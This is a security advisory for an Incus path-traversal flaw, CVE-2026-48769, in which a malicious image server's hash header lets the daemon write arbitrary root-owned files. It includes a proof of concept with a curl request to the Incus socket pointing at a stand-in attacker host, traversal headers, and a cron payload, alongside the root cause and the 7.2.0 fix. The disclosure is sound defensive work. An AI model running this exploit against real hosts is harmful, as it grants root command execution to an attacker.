CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash Header
A malicious image server can trick the Incus daemon into writing attacker-controlled content to any file on the host, including cron jobs, by returning a path-traversal sequence in the HTTP Incus-Imag
The problem
When a user posts `source.type=url` to `POST /1.0/images`, incusd HEADs the supplied URL and blindly trusts the `Incus-Image-Hash` response header as the download fingerprint. That value is passed directly into `imageDownload()` as the `fp` (fingerprint) variable.
Inside `daemon_images.go`, `fp` is joined with `destDir` via `filepath.Join(destDir, fp)` with no sanitisation. The resulting `destName` is opened with `os.Create()` and the HTTP response body is streamed into it before any SHA-256 check runs. An attacker-controlled hash of `../../../../etc/cron.d/evil` therefore creates and populates an arbitrary host file as root.
Proof of concept
# 1. Attacker runs a server that answers HEAD /stage with traversal headers:
# Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
# Incus-Image-URL: http://attacker:8088/payload
# GET /payload returns the cron line below (kept open to delay cleanup).
# 2. Trigger from any machine with access to the Incus Unix socket or API:
curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST \
-H 'Content-Type: application/json' \
-d '{
"source": {
"type": "url",
"url": "http://attacker:8088/stage"
},
"public": false
}' \
http://incus/1.0/images
# Content written to /etc/cron.d/incus-direct-image-url-rce by the daemon:
# * * * * * root /bin/sh -c 'id > /tmp/incus-direct-image-url-rce'The root cause is that `fp` defaults to the caller-supplied alias string (`daemon_images.go:91-92`) and is never validated before it is passed to `filepath.Join(destDir, fp)` at line 333. `filepath.Join` does not prevent traversal: a value like `../../../../etc/cron.d/evil` resolves cleanly to a path outside `destDir`.
The SHA-256 integrity check at lines 528-532 runs only after `os.Create()` and the full response copy have already completed, so the write happens unconditionally. The fix in 7.2.0 adds a `filepath.Clean` check immediately after `fp` is set: if the cleaned path does not have `destDir` as a prefix, the download is aborted before the file is ever opened.
CWE-22 (Path Traversal) is the precise classification. Because incusd runs as root and cron files written to `/etc/cron.d/` execute within seconds, the arbitrary write trivially escalates to arbitrary command execution on the host.
The fix
Upgrade incusd to **Incus 7.2.0** or later. The patch validates `fp` with `filepath.Clean` and confirms the resolved destination is still inside `destDir` before calling `os.Create()`. No configuration workaround exists for earlier versions; restrict API access to trusted operators as a partial mitigation.